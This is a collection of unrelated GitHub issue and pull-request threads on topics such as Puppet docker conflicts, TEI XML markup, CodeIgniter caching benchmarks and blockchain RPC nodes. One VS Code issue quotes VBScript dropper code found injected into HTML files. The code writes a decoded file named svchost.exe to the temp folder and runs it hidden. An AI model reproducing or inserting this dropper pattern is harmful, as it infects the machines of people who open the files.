include docker giving error if docker service already running on host

Error: Could not update: Execution of '/usr/bin/yum -d 0 -e 0 -y install docker-io-1.7.1' returned 1: Error: docker-engine conflicts with docker-io-1.7.1-2.el6.x86_64
You could try using --skip-broken to work around the problem
You could try running: rpm -Va --nofiles --nodigest

This doesn't appear to be the service but the package. In particular the specific package has an explicit conflict.
What's happening here is that you already have docker from the distro packages. And the module is trying to install docker from the Docker Inc packages. Hence the conflict.
You can either set manage_package to false, or alternatively set use_upstream_package_source = false if you want to use the distro package. Or you can ensure docker-io is uninstalled (ensure=>absent) before installing docker-engine.


Fix

The <editionStmt> needs to immediately follow the <titleStmt> and it must contain either both an <edition> and a <respStmt> or
 elements for less structured contents. See https://www.tei-c.org/release/doc/tei-p5-doc/en/html/ref-editionStmt.html and https://tei-c.org/release/doc/tei-p5-doc/en/html/ref-fileDesc.html.
https://github.com/dracor-org/poldracor/blob/1a2bdfe62dfc1791f4fa56a315c44bf5ef0070e7/tei/blizinski-marcowy-kawaler.xml#L41-L45

Will this shape be ok? <edition> is probably not required in such a case.
 ...
</titleStmt>
<editionStmt>

Edited by members of <orgName>Historical Pragmalinguistic Team</orgName> (<persName>Magdalena Pastuch</persName>, <persName>Barbara Mitrenga</persName>, <persName>Kinga Wąsińska</persName>) affiliated to the <orgName>Institute of Linguistics of University of Silesia in Katowice</orgName> with technical support <persName>Jan Wieczorek</persName>, <persName>Tomasz Bernaś</persName> and <persName>Tomasz Naskręt</persName> from <orgName>CLARIN-PL</orgName>/<orgName>Wrocław University of Science and Technology</orgName> (source: Polona.pl with modifications)

</editionStmt>
<publicationStmt>
 ...


Add Scare to Death?

Add Scare to Death?

Notes when looking at demoralize also ...
They have different traits
Demoralize: Auditory Concentrate Emotion Fear Mental
Scare to Death: Emotion Fear General Incapacitation Skill
Different interaction with feats: (e.g. Intimidating Glare does work with Demo, but not with ScareTD)
Different stages of success
Different Immunity Times (10 min vs 1 min)
Similarities: 30 ft range. Uses Intimidation. -4 for the language barrier. Both can at some point give the frightened condition (on different stages though)
I guess it would be possible to create a new macro for Scare to death based on the demoralize macro, but I would not combine them into one.


[Feature] Allow nodeId if no resource exists [OSF-6319]

Purpose
Osfstorage does not have a .resource value, causing dragging from one component directly to the osfstorage icon to fail.
Changes
If there is no .resource default to .nodeId, which is the same value.
Side effects
None known. By leaving .resource first this should only fix situations where .resource doesn't exist.
Ticket
https://openscience.atlassian.net/browse/OSF-6319
[#OSF-6319]
QA Notes

Test that you can move a folder from an osf storage in a component directly to osf storage (not a nested folder) in the project or another component
Test that you can still drag from folder to folder.
Test dragging between other storage providers as well.

Closing in favor of #6403


[wip] nodelest-foreach

https://github.com/codemix/fast.js/issues/78

solution: https://github.com/codemix/fast.js/issues/78#issuecomment-70920598


feat: FileLocator caching

Description
To improve performance.
Benchmark: https://github.com/codeigniter4/CodeIgniter4/pull/8017#issuecomment-1751687362
How to Use:
<?php

namespace Config;

use CodeIgniter\Autoloader\FileLocator;
use CodeIgniter\Config\BaseService;

class Services extends BaseService
{
    public static function locator(bool $getShared = true)
    {
        if ($getShared) {
            if (empty(static::$instances['locator'])) {
                $cache                        = new \CodeIgniter\Cache\FileLocatorCache();
                static::$instances['locator'] = new FileLocator(static::autoloader(), $cache);
            }

            return static::$mocks['locator'] ?? static::$instances['locator'];
        }

        return new FileLocator(static::autoloader());
    }
}

Checklist:

[x] Securely signed commits
[ ] Component(s) with PHPDoc blocks, only if necessary or adds value
[ ] Unit testing, with >80% coverage
[ ] User guide updated
[x] Conforms to style guide

I think I started to do something very similar to this originally and found that PHP already does a great job of caching it's lookups so I didn't see any performance gains worth the memory usage.
Not sure if you're seeing differently now or not.

FileLocator does heavy jobs like to search all namespaces or read PHP class files and token_get_all() and find classnames.
So I expect performance gain in projects with many modules.
But I'm not sure this can improve the Welcome page benchmark.
I will benchmark this later.

I get that. I just remember that PHP's realpath_cache already did a job I wasn't able to improve on at the time. The framework has changed and does more things in different places then when I was first starting the rewrite, so maybe it will work better now.
And, personally, if I were working on optimizations, I would be more concerned about real-world performance then the hello world benchmark. But I would definitely say benchmarks should be ran before and after optimizations to make sure then actually work and don't just complicate the code.

CI4 is 5 to 7 times slower than CI3 on Hello World benchmark. https://github.com/codeigniter4/CodeIgniter4/issues/6889#issuecomment-1668710853
It is so slow that I would like to improve it, but it seems impossible to get the same level of performance
with optimization like caching I sent PRs. We need some kind of breakthrough.
Yes, you are probably right that tuning in real world applications is more important. However, in many cases, I think it will be tuning the interaction with the database.
Maybe there is room for tuning around the Model/Database library, but I'm not sure.

Ubuntu 22.04, PHP Version 8.1.2-1ubuntu2.14, Apache.
(4.5 *$=)$ wrk -t10 -d5s http://localhost/CodeIgniter4/
Running 5s test @ http://localhost/CodeIgniter4/
  10 threads and 10 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     7.22ms    3.42ms  45.07ms   84.27%
    Req/Sec   142.91     31.66   202.00     57.00%
  7131 requests in 5.02s, 122.57MB read
Requests/sec:   1420.20
Transfer/sec:     24.41MB

(feat-FileLocator-Caching *$=)$ wrk -t10 -d5s http://localhost/CodeIgniter4/
Running 5s test @ http://localhost/CodeIgniter4/
  10 threads and 10 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     6.09ms    2.57ms  24.67ms   83.53%
    Req/Sec   166.74     22.79   222.00     61.00%
  8317 requests in 5.01s, 142.91MB read
Requests/sec:   1659.92
Transfer/sec:     28.52MB

Oh nice! I was just letting you know what I ran into when I tried doing that early on. Awesome to see it helped this time.
And I'm glad to see someone tackling performance. I apologize if it came across disparaging.

Change the implementation a bit.

No breaking changes. No changes at all when not using caching.
Caches all method results.

Ubuntu 22.04, PHP Version 8.1.2-1ubuntu2.14, Apache (mod_php).
(4.5 *$=)$ wrk -t10 -d5s http://localhost/CodeIgniter4/
Running 5s test @ http://localhost/CodeIgniter4/
  10 threads and 10 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     7.24ms    3.46ms  36.01ms   85.21%
    Req/Sec   142.62     33.53   191.00     58.40%
  7114 requests in 5.01s, 122.27MB read
Requests/sec:   1419.47
Transfer/sec:     24.40MB

(feat-FileLocator-Caching *$=)$ wrk -t10 -d5s http://localhost/CodeIgniter4/
Running 5s test @ http://localhost/CodeIgniter4/
  10 threads and 10 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     4.73ms    2.40ms  33.09ms   87.48%
    Req/Sec   219.71     53.40   292.00     56.60%
  10951 requests in 5.01s, 188.16MB read
Requests/sec:   2186.65
Transfer/sec:     37.57MB

Prepare:
$ rm .env
$ composer update --no-dev

This is off topic, but I got 5210 rps that is about 2 times slower than CI3 on Hello World benchmark.
See also https://github.com/codeigniter4/CodeIgniter4/issues/6889#issuecomment-1668798164

Config caching
FileLocator caching
Preload
Change the parent class of Services

$ wrk -t10 -d5s http://localhost/CodeIgniter4/
Running 5s test @ http://localhost/CodeIgniter4/
  10 threads and 10 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     2.04ms    1.40ms  21.57ms   91.99%
    Req/Sec   531.46    109.34     1.08k    66.14%
  26575 requests in 5.10s, 5.38MB read
Requests/sec:   5210.70
Transfer/sec:      1.05MB

diff --git a/app/Config/Services.php b/app/Config/Services.php
index df7c8ad086..097876274c 100644
--- a/app/Config/Services.php
+++ b/app/Config/Services.php
@@ -2,31 +2,21 @@

 namespace Config;

-use CodeIgniter\Config\BaseService;
+use CodeIgniter\Autoloader\FileLocator;
+use CodeIgniter\Autoloader\FileLocatorCached;

-/**
- * Services Configuration file.
- *
- * Services are simply other classes/libraries that the system uses
- * to do its job. This is used by CodeIgniter to allow the core of the
- * framework to be swapped out easily without affecting the usage within
- * the rest of your application.
- *
- * This file holds any application-specific services, or service overrides
- * that you might need. An example has been included with the general
- * method format you should use for your service methods. For more examples,
- * see the core Services file at system/Config/Services.php.
- */
-class Services extends BaseService
+class Services extends \CodeIgniter\Config\Services
 {
-    /*
-     * public static function example($getShared = true)
-     * {
-     *     if ($getShared) {
-     *         return static::getSharedInstance('example');
-     *     }
-     *
-     *     return new \CodeIgniter\Example();
-     * }
-     */
+    public static function locator(bool $getShared = true)
+    {
+        if ($getShared) {
+            if (! isset(static::$instances['locator'])) {
+                static::$instances['locator'] = new FileLocatorCached(new FileLocator(static::autoloader()));
+            }
+
+            return static::$mocks['locator'] ?? static::$instances['locator'];
+        }
+
+        return new FileLocator(static::autoloader());
+    }
 }
diff --git a/preload.php b/preload.php
index 63c781c220..6a1a214747 100644
--- a/preload.php
+++ b/preload.php
@@ -49,7 +49,7 @@ class preload
      */
     private array $paths = [
         [
-            'include' => __DIR__ . '/vendor/codeigniter4/framework/system',
+            'include' => __DIR__ . '/system',
             'exclude' => [
                 // Not needed if you don't use them.
                 '/system/Database/OCI8/',
diff --git a/public/index.php b/public/index.php
index 826966179e..4358b5132e 100644
--- a/public/index.php
+++ b/public/index.php
@@ -49,8 +49,8 @@ if (! defined('ENVIRONMENT')) {
 }

 // Load Config Cache
-// $factoriesCache = new \CodeIgniter\Cache\FactoriesCache();
-// $factoriesCache->load('config');
+ $factoriesCache = new \CodeIgniter\Cache\FactoriesCache();
+ $factoriesCache->load('config');
 // ^^^ Uncomment these lines if you want to use Config Caching.

 /*
@@ -79,7 +79,7 @@ $app->setContext($context);
 $app->run();

 // Save Config Cache
-// $factoriesCache->save('config');
+ $factoriesCache->save('config');
 // ^^^ Uncomment this line if you want to use Config Caching.

 // Exits the application, setting the exit code for CLI-based applications

that's a great improvement!
One thing I think it needs, though, is the ability to enable/disable it. IMHO I think it should be disabled by default in development, but enabled in other environments. Otherwise developing with this in place sounds like a pain having to constantly clear the cache, unless I missed something.

I have created a new class FileLocatorCached with cache functionality, so caching is disabled by default.
If we clear the cache when we deploy, there is no problem, but I don't think such a practice is common among CodeIgniter users. So I'm not sure if this caching should be enabled by default in production environment.

environments

One thing we lose from service location instead of a container is an easy ability to provide environment-specific dependencies. Maybe we should be leveraging our Boot folder more to inject some of these, or include a .env-style config for Services. We could seed app/Config/Services.php with some recommended defaults but then devs who don't patch will just diverge more.

@MGatner Added a new Interface. But it brought breaking changes.


getTransactionByHash and getTransactionReceipt returns null for valid transaction hash

Description
RPC calls eth_getTransactionByHash and eth_getTransactionReceipt returns null result for valid transactions.

This is happening roughly on half of our nodes or more across all networks and we can't seem to find the reason.
They are all running the same code (runtime and client), on the same hardware and issue exists on different cloud providers.
Nodes that have this issues are running more than 3 months. At start they didn't have this issue, it started happening at undefined moment.

Just restarting nodes does not affect this issue. We are suspecting that it has to something with Frontier DB, because copying database from working node to the node with issue, mitigates this issue.

By inspecting /frontier/db directory and /frontier/db/LOG file we didn't managed to identify any suspicious difference between working and non-working nodes.

This issue affects web3.js and metamask:

Web3.js gets stuck while waiting for transaction receipt while transaction was successfully executed
Metamask marks successful transactions as dropped

Steps to Reproduce
It cannot be reproduced in local environment because it is happening only on nodes that are running more than 3 months. We used following command to check:
curl http://localhost:9933 -H "Content-Type:application/json;charset=utf-8" -d \
'{
"jsonrpc":"2.0",
"id":1,
"method":"eth_getTransactionByHash",
"params": ["0x555a49ce69eedc22393a03586f8b9853eb0dda9385bbd299356bfa4256e79cd0"]
}'

Expected vs. Actual Behavior
Result that we get:
{"jsonrpc":"2.0","result":null,"id":1}

Expected result:
{"jsonrpc":"2.0","result":{"hash":"0x555a49ce69eedc22393a03586f8b9853eb0dda9385bbd299356bfa4256e79cd0","nonce":"0x26","blockHash":"0xa4ee773ab4b6a302fa68691086405a41767b1218df077340429ccddab6d1e8cb","blockNumber":"0x8a7d4","transactionIndex":"0x0","from":"0x051387e48e5d668f812cb91b708b0f38364ec5c1","to":"0xffffffff00000000000000000000000000000001","value":"0x0","gasPrice":"0x8","gas":"0xb0fc","input":"0xa9059cbb00000000000000000000000093edf89d9f9f55339fdef1e1be541959f2acea140000000000000000000000000000000000000000000000de6c4fbe0ba50fa000","creates":null,"raw":"0xf8a6260882b0fc94ffffffff0000000000000000000000000000000180b844a9059cbb00000000000000000000000093edf89d9f9f55339fdef1e1be541959f2acea140000000000000000000000000000000000000000000000de6c4fbe0ba50fa000821019a04c5684f58de15d29aeb0d3fae3d47c80c0e7dbe03ed328c806c5cb6946497acea02b0b8258f00cd39403b632a225371c8725760b6923a5b9fa67439569a4621c03","publicKey":"0x6c83f74f603117ff9c8fbee6e4ee18b36d7ef394c207d3ed7d66e856ba7e6ccf8355578b7d9e69267f64bb1643b8ef4a5906eb65b28a712e91df5a4d61ecd8ab","chainId":"0x7fb","standardV":"0x0","v":"0x1019","r":"0x4c5684f58de15d29aeb0d3fae3d47c80c0e7dbe03ed328c806c5cb6946497ace","s":"0x2b0b8258f00cd39403b632a225371c8725760b6923a5b9fa67439569a4621c03","accessList":null,"type":"0x0"},"id":1}

Environment

Operating system: Ubuntu
Parachain github repo: https://github.com/OriginTrail/origintrail-parachain
Frontier repo fork: https://github.com/OriginTrail/frontier/tree/polkadot-v0.9.27

Logs, Errors or Screenshots
There were no errors in node logs.
Additional Information
We would like to ask for additional guide how to investigate this issue and to check with other teams if they have experienced it.

Is there some node flag to get debug logs for frontier, please let us know and we will provide those logs?
Is there a way to check if Frontier DB is corrupted, or should we look more at some frontier db files?

Can you fetch the corresponding tx-related information from pallet-ethereum storage? the tx is not included in the chain.

@AsceticBear the transaction is included in the chain because it is available on the other half of nodes which work correctly and change in transfer funds is visible on all nodes.
Can you give me more instructions on how to fetch the corresponding tx-related information from pallet-ethereum storage?

the transaction is included in the chain because it is available on the other half of nodes which work correctly and change in transfer funds is visible on all nodes.

This situation indicates that the transaction was not rejected because of the validation. Another possibility is that the PALLET_ETHEREUM_SCHEMA of the problematic node is incorrect, which leads to a wrong decode result at the client.

@AsceticBear is there a way how we can check those two assumptions?

Hmm, Check out the PALLET_ETHEREUM_SCHEMA storage item in your chain. Nothing magic.

Please confirm:

You introduced frontier on your Sept 12 release.
You are using runtime api (not storage overrides).
You are using ethereum runtime api version 4.
All your nodes are using the same cli args with wasm execution, pruning archive, etc..
All your nodes, including the erroring ones, are on your >= 1.0.4 client.

If all the above is true then the only possible way of not getting ethereum related data through rpc is some of your nodes didn't properly synced frontier DB.

Hey @tgmichel, sorry for late reply.

Yes, we introduced frontier on Sept 12 release
I am not sure about storage overrides, maybe this helps
Yes, we are using ethereum runtime api version 4
All nodes have wasm execution flag, some of them have pruning archive, some not (issue exists on both)
All nodes are on version 1.0.4 or above

I think it is not related to Frontier DB, because copying frontier/db directory from working node does not fix the issue. It was the replacement of db directory that fixes the issue.
All our nodes are constantly checked for this issue, and we saw that for a new node (that is started with copied and synced DB from working node) it took around 11 days for this issue to start happening. We couldn't find anything suspicious in logs for that period.


aria-expanded must be explicit (true/false)

Thank you for reporting this.
The state of the  aria-expanded attribute should be explicit (true / false).
Per spec, when it is undefined (default):

The element, or another grouping element it controls, is neither expandable nor collapsible; all its child elements are shown or there are no child elements.

We'll update the script.
Originally posted by @thierryk in https://github.com/tabpanelwidget/tabpanelwidget/discussions/13#discussioncomment-2335813

When the widget is displayed as an Accordion, we should have the following when the panel associated to the role="button" is expanded:
<span ... role="button" aria-expanded="true"> ... </span>

And this when the associated panel is closed:
<span ... role="button" aria-expanded="false"> ... </span>

Right now, the aria-expanded attribute is not added to the node if its associated panel is closed.


Small German-language typo on Tachyons website Swiss Design example.

Hello. The design is beautiful, but I noticed a typo on the Tachyons website Swiss design example page
It reads,

Beitrage zut
Kunst des 19. und 20.Jahrhunderts

But it should say,

Beitrage zur
Kunst des 19. und 20.Jahrhunderts

This is no doubt causing serious, site-wide errors for anyone using Tachyons, but thankfully I've identified the problem. I think everyone will be glad that the nightmare is over.

Fixed it, thank you!


connection timed out

hi , thank you for great work , connection on openconnect android app is perfect
but on ios or other ssl aps ther s a problem with connecting
error : connection timed out
is there any way to solve this problem ?

Maybe firewall issue?

If you solve the problem, you can leave the solution here to let others know.
Thanks

@ramintabiee Using Cisco Secure Client or OpenConnect?

IOS doesn't have OpenConnect
I tested it on Cisco Secure Client
Is there another client that i can test it on ?
But it works on openconnect android and windows

Have you changed settings in Cisco Secure Client, such as untrusted servers?

Yea
It says connection timeout

Have permit port 443 or 4433?

Yea the connection works on android and windows but on IOS has problem

maybe latest iOS block something

You can try docker version of ocserv, there are many of them on GitHub.


HTML files automatically loaded with extra code.

Problem
Hugh chunk of code is adding in the HTML files automatically,it's adding after the html teg.
!-- Use Help > Report Issue to prefill these. -->

VSCode Version: 1.33.1(System setup)
OS Version: Windows7 Ultimate.

Steps to Reproduce:
1.HTML Files have loaded  with unwanted code(screenshot added)
2.I thought that any of my installed extensions cause the problem,so I uninstalled all the extensions but the issue not solve yet.
3. Clean uninstall and install again,but the code is appearing on the html files automatically.
4. Tried both version of VS Code(system setup,user setup)

Does this issue occur when all extensions are disabled?: Yes/No
No,I uninstalled  all the extensions from my VScode.
Screenshot of Bug

One quick update,the lines are adding in the build step,i mean when I running the server like ng serve or ionic serve that time the lines marge with the html file.

Another thing I just noticed first few lines of the code block,I copy those lines here,I think it will help the community.
DropFileName = "svchost.exe"
WriteData = ""
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0

Hi,after research a little bit I found that,this issue already discuses on stackoverflow,I think it's virus issue. Moderator can close this thread.


implemented create --progress

shows original, compressed and deduped size plus path name.
output is 79 chars wide, so 80x24 terminal does not wrap/scroll.
long path names are shortened (in a rather simplistic way).
output happens when a new item is started, but not more often than 5/s
(thus, not every pathname is shown)
at the end, the output line is cleared but not scrolled, so it basically vanishes.

can we get a screenshot / copy-paste of what this looks like?

sure, here it is (window size is 80x24) - first image is while backup is running, second image is after completion. The one line you see is always overwritten (no scrolling).
(O)riginal size, (C)ompressed size, (D)eduplicated size, Path/Filename.

regarding the window size, programs running in a terminal will receive a signal(7) (SIGWINCH in Sun/4.3BSD and linux). Then there's a ioctl to probe the new window size (e.g. this) - but I am not sure how that translates in Python.

ah and yes, that is of course platform-specific, which may mean messing around with (n)curses:
http://stackoverflow.com/questions/5161552/python-curses-handling-window-terminal-resize
http://stackoverflow.com/questions/6418678/resize-the-terminal-with-python
fun stuff.

closing this pull request, seems unwanted.


The GetUsageSummaryOptions class is out of sync with the API

[ ] The Model property should be an array of string rather than a string

Documentation for this endpoint lives at https://developers.deepgram.com/api-reference/#usage-summary

Working on this sibling issue to help test the other.   Also I will have to add in. Json formatter to get the right date format for the api call.


Improve club listing on UserPage

It doesn't make sense to have a separate EditUserClub component. It would be easier and simpler to have the UserClubCard to display an edit button if that user has the ability to edit that club.

Added Edit Clubs button to each UserClubCard that the user has permission to edit (the user is the club owner, or an admin). Removed the UserEditClub component, as its function is now redundant. Also set a maximum height on the UserClubList component, so it does not make the page huge when logged in as Admin.


[TB] Translation Layer Enhancement

Enable dyslexia support to be applied to fonts in languages other than English.
Suggestion/Concern
Current dyslexia fonts applied to English language only, does not support other language types.
Proposed Solution
Enable dyslexia fonts to be applied to additional fonts for languages other than English. For example Mandarin characters and Cyrillic.

This needs research to determine if dyslexia is a problem with other languages and whether a new font would be needed.


batch api authorization error

Hi,
I'm able to use the metadata API without any problems from a VisualForce page.  When I try to use the batch API (in the same page), however, I get the following error:
XMLHttpRequest cannot load https://na15.salesforce.com/services/async/30.0/job. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://c.na15.visual.force.com' is therefore not allowed access.
It seems the batch endpoint is in a different domain than the one I'm authenticating on (and using for the metadata API calls).  Has anyone else experienced this?  Is there a workaround?
JSForce is pretty awesome, btw.

Well, this didn't really work for me, still getting the same error


Refactor EXPIRETIME command documentation (#797)

Fixes #797
updated the docs for Expiretime command

@arpitbbhayani @lucifercr07 @JyotinderSingh please review this PR it fixes #797
thanks


Add custom ToSchema/ToResponse implementation support

some times users can't use derive macro ToSchema on custom Serialized/Deserialized Data or wrapper types that inner type is outside library and doesn't implement to schema or serilization:
#[derive(Debug)]
pub struct UUID(pub uuid::Uuid);

impl<'__s> ToSchema<'__s> for UUID {
    fn schema() -> (&'__s str, utoipa::openapi::RefOr<utoipa::openapi::schema::Schema>) {
        (
            "UUID",
            utoipa::openapi::ObjectBuilder::new()
                .schema_type(utoipa::openapi::SchemaType::String)
                .into()
        )
    }
}

impl Into<uuid::Uuid> for UUID {
    fn into(self) -> uuid::Uuid {
        self.0
    }
}

impl<'de> Deserialize<'de> for UUID {
    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
    where
        D: Deserializer<'de> {
        <&str>::deserialize(deserializer).and_then(|s| {
            let u = uuid::Uuid::from_str(s).map_err(|e| de::Error::custom(format!("invalid uuid string: {}, {}", s, e)))?;

            Ok(Self(u))
        })
    }
}

i added the support in this pull request by discovering implementations of ToSchema and ToResponse

Hey, thanks for your contribution.
I added test case and they are failing.
For some reason, it only works with one implementation but not the second...

Ok nvm, it's just that my impl blocks were identical for both struct so utoipa would not count them as two distinct.
Thanks for your work.
Will release a new version


mistake in the description of y in the decoding tutorial

Reference issue
None
What does this implement/fix?
Just a small mistake in the description of the y vector.

thx @MadsJensen


use ApplicationTester instead of CommandTester for E2E

Now our end to end tests are a little bit more end to end... Instead of testing the single command we test the application.

Codecov Report

Merging #291 (a42a195) into main (186a2f0) will increase coverage by 0.59%.
The diff coverage is 100.00%.

@@             Coverage Diff              @@
##               main     #291      +/-   ##
============================================
+ Coverage     94.90%   95.49%   +0.59%
  Complexity      374      374
============================================
  Files            58       58
  Lines          1001      999       -2
============================================
+ Hits            950      954       +4
+ Misses           51       45       -6

Impacted Files
Coverage Δ

src/CLI/Command/Check.php
93.15% <ø> (ø)

src/CLI/PhpArkitectApplication.php
66.66% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Ampersand characters in image source are escaped (v2.0.4)

Example:
import mistune
content = "![description](https://foo.com/?a=1&b=2)"
markdown = mistune.create_markdown(escape=False)
markdown(content)
# '

\n'

This causes problems loading the image in some cases.
I think this is caused by escape_url using html.escape. According to the docs  (https://docs.python.org/3/library/html.html) html.escape escapes ampersands, and I don't think that should happen for urls.

It is commonmark compatible, please check:
https://spec.commonmark.org/dingus/?text=![description](https%3A%2F%2Ffoo.com%2F%3Fa%3D1%26b%3D2)

My bad, this was a bug in our custom mistune renderer.
Thanks for checking!


Pretty format dates

Issue summary (and expected behavior)
Dates should be pretty formatted into MM/DD/YYYY HH:MM of the desired time zone. Some of the dates that make sense should be shown with the name of the day (i.e. Wednesday).
Actual behavior
Dates are shown in nanoseconds.

This, for the most part, is addressed in #41/#57. However, #46 Adds a third function that is relevant to this issue.


Unify Windows/Linux package filesets

This looks like a bigger change than it is, simply because I sorted the list.
Changes:

Sorted the Windows/Linux include/exclude lists, to make it easy to compare the two
Windows

Removed exclusion of service.bat.
Added exclusion of bin/*.sh

Linux

Removed the exclusion of conf/**

This now matches Windows, and I think this was intended.

Changed the exclusion bin/service.bat to bin/*.bat
Removed the exclusion of src/**, as it's not excluded in Windows, and I don't think it's needed.

The "big" change is that now service.bat is included in the windows zip. I don't know why it was ever excluded, and when I asked about it in the mailing list I was told to create a PR.

The build script would benefit from some comments here. The core .zip and .tar.gz distros are not intended to be Windows/Linux distros. They should both be platform neutral (i.e. work on both). The only difference should be the line endings. Both should have .bat and .sh files.
The Windows service files (service.bat,.exe and .dll files) are only meant to be in the Windows specific distributions.
Historically, service.bat wasn't included in the Windows installer (built via a separate script) but it is now included. There isn't much point including service.bat if the associated binaries are not present.
The conf/** files are not excluded from the tar.gz distribution, they are added separately using a different permission set.
There are essentially three sets of files being added:

the standard directories (bin, conf, lib etc)
the top-level files (LICENSE, README, etc)
and the Windows binaries

I think it may be clearer if, rather than sorting all these files as one group, they are kept as three groups (perhaps another opportunity for some brief comments) but sorted within the groups.

tomcat10.exe is a renamed Commons Daemon ProcRun executable. It is not a wrapper around the JAR (at least there is no Java code embedded in that exe). service.bat is useless without tomcat10.exe and tomcat10w.exe. It would make more sense to deploy the Windows specific binaries to Maven.
The conf/** files are included before the main set of files for the .tar.gz distro.

OK, so what do you think the end goal should look like?
org.apache.tomcat/tomcat is currently described as "Binary distribution of Apache Tomcat".
Currently that contains a tar.gz that works on Windows/Linux, a zip that does not work on Linux (this is why I assume they were mean to be platform-specific), and no way (out of the box) to run it as a Windows service.
So here are my ideas:

Split org.apache.tomcat/tomcat in two, with a Windows and a Linux classifier. Ie:
1.1. tomcat-11.0.0-M4-linux.tar.gz
1.1.1. contains no bat files
1.2. tomcat-11.0.0-M4-windows.zip
1.2.1. contains no sh files
1.2.2. contains tomcat10.exe, tomcat10w.exe, service.bat

From all platform-specific stuff (bat, sh, exe) from org.apache.tomcat/tomcat.
2.1. Create two new platform-specific artefacts that depend on org.apache.tomcat/tomcat, and contain the required bat, sh, etc.

Just put everything in one tar.gz. I'm pretty sure Windows will be able to deal with UNIX line endings and permissions.

Add the service.bat to org.apache.tomcat/tomcat.
4.1. This it the only option that does not break compatibility for anyone already using this artefact.

Personally I'd go with 4., as preserving backwards compatibility is important, and consider 1. or 2. for tomcat 12/13.

What end goal are you looking for?  Going back to users@ thread from a month ago, it looks like you want to be able to obtain a version of Tomcat from Maven Central that can be installed as a Windows service.
Adding service.bat to the platform neutral .zip and .tar.gz archives doesn't help - they don't contain the necessary binaries.
Adding the Windows specific binaries to Maven Central (as I suggested in the users@ thread) still looks to be the cleanest solution. It also gets you Tomcat Native.
What makes you say the zip distribution doesn't work on Linux. I've just tested it and it works as expected.

Why not have a separate Maven package for just the binaries / scripts required for the platform, and a dependency on the core package?
I am -1 on labeling the distribution containing the .sh scripts as -linux. It is much more general than Linux. Feel free to call it -unix if you have to, even though you can run it perfectly fine on Windows as well...

My initial reasoning for not having Maven packages (one for each architecture) with just the binaries in it is that we don't have that anywhere else at the moment whereas we do have the full Windows binaries. The later would be easier to setup. Thinking about it, I think a Windows packages with everything will also be easier for users.


[Feature Request] MacOS Build Request

Hi,
I want to use the Catapult launcher on my Mac. I see there are only Linux and Windows versions available right now. Could you consider making a version for macOS? Since the project uses Godot 3, which supports macOS, it seems possible.
I’m willing to help test it out on macOS if you decide to go ahead with this. Thanks for your work on this launcher!

A few years ago there was already an attempt at Mac support (PR #10), but it was concluded that Catapult can't really work on macOS because it is designed as a portable app. The idea to add a non-portable mode (#46) is still in the back of my mind but hasn't been worked on. It would make certain things easier on other platforms as well.


Message flow diagram for Microsoft Bot framework

Bot Info

SDK Platform: .Net
SDK Version: Latest
Active Channels: All
Deployment Environment: All

Issue Description
I went through Microsoft Bot Framework documentation and I could not find any message flow diagram or flow diagram describes how the bot framework works and how the message flows through the framework, what I think all programmers (not developers) need is a message flow diagram shows the message flow between different internal components inside bot framework, like the message will be received in the MessageController then it will be send to Conversation class which is a static implementation the Idialog context has been established which implements another interfaces and continue......  so we can have better understating how framework works internally, in my case because I like how things work internally I download the source code of the framework and I start debugging everything to understand..

I'm not aware of a diagram describing the internal workings of the Bot Builder sdk.
I've labeled this as a feature request.

Would be interesting to have a sort of "white paper" which explains the architecture of the Microsoft Bot Framework. For instance the framework (v3 does, not sure if v4) works with fibers and stacks, and having information on how and why that is used would be very useful.

This is not a flow diagram, but these specs provide some low level information about the MBF:
https://github.com/Microsoft/BotBuilder/blob/1045a9e02e9eb14d353509c1562808dced23c29e/specs/botframework-activity/botframework-activity.md
https://github.com/Microsoft/BotBuilder/blob/1045a9e02e9eb14d353509c1562808dced23c29e/specs/botframework-activity/botframework-cards.md
https://github.com/Microsoft/BotBuilder/blob/1045a9e02e9eb14d353509c1562808dced23c29e/specs/transcript/transcript.md

Thank you for opening an issue against the Bot Framework SDK v3. As part of the Bot Framework v4 release, we’ve moved all v3 work to a new repo located at https://github.com/microsoft/botbuilder-v3. We will continue to support and offer maintenance updates to v3 via this new repo.
From now on, https://github.com/microsoft/botbuilder repo will be used as hub, with pointers to all the different SDK languages, tools and samples repos.
As part of this restructuring, we are closing all tickets in this repo.
For defects or feature requests, please create a new issue in the new Bot Framework v3 repo found here:
https://github.com/microsoft/botbuilder-v3/issues
For Azure Bot Service Channel specific defects or feature requests (e.g. Facebook, Twilio, Teams, Slack, etc.), please create a new issue in the new Bot Framework Channel repo found here:
https://github.com/microsoft/botframework-services/issues
For product behavior, how-to, or general understanding questions, please use Stackoverflow.
https://stackoverflow.com/search?q=bot+framework
Thank you.
The Bot Framework Team


TPv2 - hides ds/user assign if use_tenancy is turned on

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/incubator-trafficcontrol-PR/137/

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/incubator-trafficcontrol-PR-trafficops-test/98/


Functional transcripts

Partially pair-programmed with Khaled (except the tests). Closes #105, closes #139

Codecov Report

Merging #147 (310bbcd) into main (c85eaae) will decrease coverage by 4.42%.
The diff coverage is 97.14%.

@@            Coverage Diff             @@
##             main     #147      +/-   ##
==========================================
- Coverage   77.77%   73.34%   -4.43%
==========================================
  Files          43       49       +6
  Lines         333      409      +76
  Branches       94      112      +18
==========================================
+ Hits          259      300      +41
- Misses         64       99      +35
  Partials       10       10

Impacted Files
Coverage Δ

.../entities/episode/model/currently-playing-store.ts
100.00% <ø> (ø)

...b/features/authenticate/model/track-auth-status.ts
83.33% <ø> (ø)

src/lib/shared/api/adapters.ts
20.00% <ø> (ø)

.../lib/features/read-transcript/ui/transcript.svelte
94.44% <94.44%> (ø)

